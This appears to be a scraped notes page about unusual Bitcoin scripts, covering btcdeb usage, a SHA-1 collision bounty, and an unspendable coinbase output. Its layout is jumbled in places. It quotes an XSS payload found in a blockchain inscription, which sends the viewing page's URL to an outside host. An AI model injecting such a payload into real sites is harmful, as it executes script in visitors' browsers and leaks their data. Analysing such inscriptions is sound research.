Tested on Ubuntu 23.10:
Patch submited at: github.com/bitcoin-core/btcdeb/pull/143
sudo apt install libtool
git clone https://github.com/bitcoin-core/btcdeb
cd btcdeb
git checkout 4fd007e57b79cba9b5ffdf5ffe599778c0d63b88
./autogen.sh
./configure
make -jThen we use it;
and inside the shell:
./btcdeb '[OP_1 OP_2 OP_ADD]'btcdeb 5.0.24 -- type `./btcdeb -h` for start up options
LOG: signing segwit taproot
notice: btcdeb has gotten quieter; use --verbose if necessary (this message is temporary)
3 op script loaded. type `help` for usage information
script | stack
--------+--------
1 |
2 |
OP_ADD |
#0000 1
btcdeb> step
<> PUSH stack 01
script | stack
--------+--------
2 | 01
OP_ADD |
#0001 2
btcdeb> step
<> PUSH stack 02
script | stack
--------+--------
OP_ADD | 02
| 01
#0002 OP_ADD
btcdeb> step
<> POP stack
<> POP stack
<> PUSH stack 03
script | stack
--------+--------
| 03
btcdeb> step
script | stack
--------+--------
| 03
btcdeb> step
at end of script
btcdeb>Authors: Peilin Zheng, Xiapu Luo, Zibin Zheng
Epic title.
Bibliography:Monday, January 29, 2024
- bitcoin.stackexchange.com/questions/5883/is-there-a-listing-of-strange-or-unusual-scripts-found-in-transactions/105392#105392
- bitcoin.stackexchange.com/questions/547/useful-alternative-bitcoin-transaction-scripts
- bitcoin.stackexchange.com/questions/35956/non-standard-tx-with-obscure-op-codes-examples/36037#36037 notably provides the amazing www.quantabytes.com/articles/a-survey-of-bitcoin-transaction-types
Ouptut 0 disassembles as:
The large constant contains an ASCII Bitcoin Core patch entitled
OP_IF OP_INVALIDOPCODE 4effffffff <large constant> OP_ENDIFRemove (SINGLE|DOUBLE)BYTE so presumably this is a proof of concept:
From a3a61fef43309b9fb23225df7910b03afc5465b9 Mon Sep 17 00:00:00 2001
From: Satoshi Nakamoto <satoshin@gmx.com>
Date: Mon, 12 Aug 2013 02:28:02 -0200
Subject: [PATCH] Remove (SINGLE|DOUBLE)BYTE
I removed this from Bitcoin in f1e1fb4bdef878c8fc1564fa418d44e7541a7e83
in Sept 7 2010, almost three years ago. Be warned that I have not
actually tested this patch.
---
backends/bitcoind/deserialize.py | 8 +-------
1 file changed, 1 insertion(+), 7 deletions(-)
diff --git a/backends/bitcoind/deserialize.py b/backends/bitcoind/deserialize.py
index 6620583..89b9b1b 100644
--- a/backends/bitcoind/deserialize.py
+++ b/backends/bitcoind/deserialize.py
@@ -280,10 +280,8 @@ opcodes = Enumeration("Opcodes", [
"OP_WITHIN", "OP_RIPEMD160", "OP_SHA1", "OP_SHA256", "OP_HASH160",
"OP_HASH256", "OP_CODESEPARATOR", "OP_CHECKSIG", "OP_CHECKSIGVERIFY", "OP_CHECKMULTISIG",
"OP_CHECKMULTISIGVERIFY",
- ("OP_SINGLEBYTE_END", 0xF0),
- ("OP_DOUBLEBYTE_BEGIN", 0xF000),
"OP_PUBKEY", "OP_PUBKEYHASH",
- ("OP_INVALIDOPCODE", 0xFFFF),
+ ("OP_INVALIDOPCODE", 0xFF),
])
@@ -293,10 +291,6 @@ def script_GetOp(bytes):
vch = None
opcode = ord(bytes[i])
i += 1
- if opcode >= opcodes.OP_SINGLEBYTE_END and i < len(bytes):
- opcode <<= 8
- opcode |= ord(bytes[i])
- i += 1
if opcode <= opcodes.OP_PUSHDATA4:
nSize = opcode
--
1.7.9.4bitcointalk.org/index.php?topic=5231222.0 duscusses what happens if there is an invalid opcode in a branch that is not taken.
Discussed at: bitcoin.stackexchange.com/questions/35956/non-standard-tx-with-obscure-op-codes-examples
As mentioned at the prize was claimed at 8d31992805518fd62daa3bdd2a5c4fd2cd3054c9b3dca1d78055e9528cff6adc (2017-02-23) which spends several inputs with the same unlock script that presents two different constantants that have the same SHA-1:
both giving
It was claimed on the same day that Google disclosed the collision: security.googleblog.com/2017/02/announcing-first-sha1-collision.html
printf 255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017f46dc93a6b67e013b029aaa1db2560b45ca67d688c7f84b8c4c791fe02b3df614f86db1690901c56b45c1530afedfb76038e972722fe7ad728f0e4904e046c230570fe9d41398abe12ef5bc942be33542a4802d98b5d70f2a332ec37fac3514e74ddc0f2cc1a874cd0c78305a21566461309789606bd0bf3f98cda8044629a1 | xxd -r -p | sha1sum
printf 255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017346dc9166b67e118f029ab621b2560ff9ca67cca8c7f85ba84c79030c2b3de218f86db3a90901d5df45c14f26fedfb3dc38e96ac22fe7bd728f0e45bce046d23c570feb141398bb552ef5a0a82be331fea48037b8b5d71f0e332edf93ac3500eb4ddc0decc1a864790c782c76215660dd309791d06bd0af3f98cda4bc4629b1 | xxd -r -p | sha1sumf92d74e3874587aaf443d1db961d4e26dde13e9cBoth of these are PDF prefixes, so they start with the PDF file signature, but are not fully viewable PDFs on their own.
This contains various outputs that seem trivially spendable in a made up of two non-zero constants, e.g.:
Or are we missing something? The values are quite small and wouldn't be worth it the miner fees most likely. But is there a fundamental reason why this couldn't be spent by a non-standard miner?
{
"value": 0.00002000,
"n": 9,
"scriptPubKey": {
"asm": "1 8fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe",
"desc": "rawtr(8fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe)#lxgt8lak",
"hex": "51208fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe",
"address": "bc1p3lnp7qnvw4z6n8rwpum6tflvamjlmanj8svefn9lkaq92e3ja8lqcc8mcx",
"type": "witness_v1_taproot"
}
},Output 0 does:
where the large constant is an interesting inscription to test for the presence of XSS attacks on blockchain explorers:
This is almost spendable with:
but that fails because the altstack is cleared between the input and the output script, so this output is provably unspendable.
OP_ADD OP_ADD 13 OP_EQUAL OP_NOTIF OP_RETURN OP_ENDIF OP_FROMALTSTACK <large xss constant> OP_DROP<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script>`1 OP_TOALTSTACK 10 1 2Bibliography:
Sister transaction of 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af with another variant of the XSS but without IF and
OP_FROMALTSTACK, thus making it spendable:
OP_ADD OP_ADD 13 OP_EQUAL <large xss constant> OP_DROPIn this malformed Coinbase transaction, the mining pool "nicehash" produced a provably unspendable Bitcoin output script due to a bug, and therefore lost most of the entire block reward of 6.25 BTC then worth about $ 123,000.
The output is unspendable because it ends in a constant 0, the disassembly of the first and main output is this series of constants:
and for the second smaller one:
the third one being an OP_RETURN message.
0 017fed86bba5f31f955f8b316c7fb9bd45cb6cbc 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0aa21a9ed62ec16bf1a388c7884e9778ddb0e26c0bf982dada47aaa5952347c0993da 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0This event received some coverage:
They appear to be included, with rationale that you can already include syntactically valid crap in an unprovable way: github.com/bitcoin/bitcoin/issues/320 Better then have syntactically invalid crap that is provable.
The outputs of this transaction seem to be the first syntactically incorrect scripts of the blockchain: blockchain.info/tx/ebc9fa1196a59e192352d76c0f6e73167046b9d37b8302b6bb6968dfd279b767?format=json, found by parsing everything locally. The transaction was made in 2013 for 0.1 BTC, which then became unspendable.
The first invalid script is just e.g. "script":"01", which says will push one byte into the stack, but then ends prematurely.
Articles by others on the same topic
There are currently no matching articles.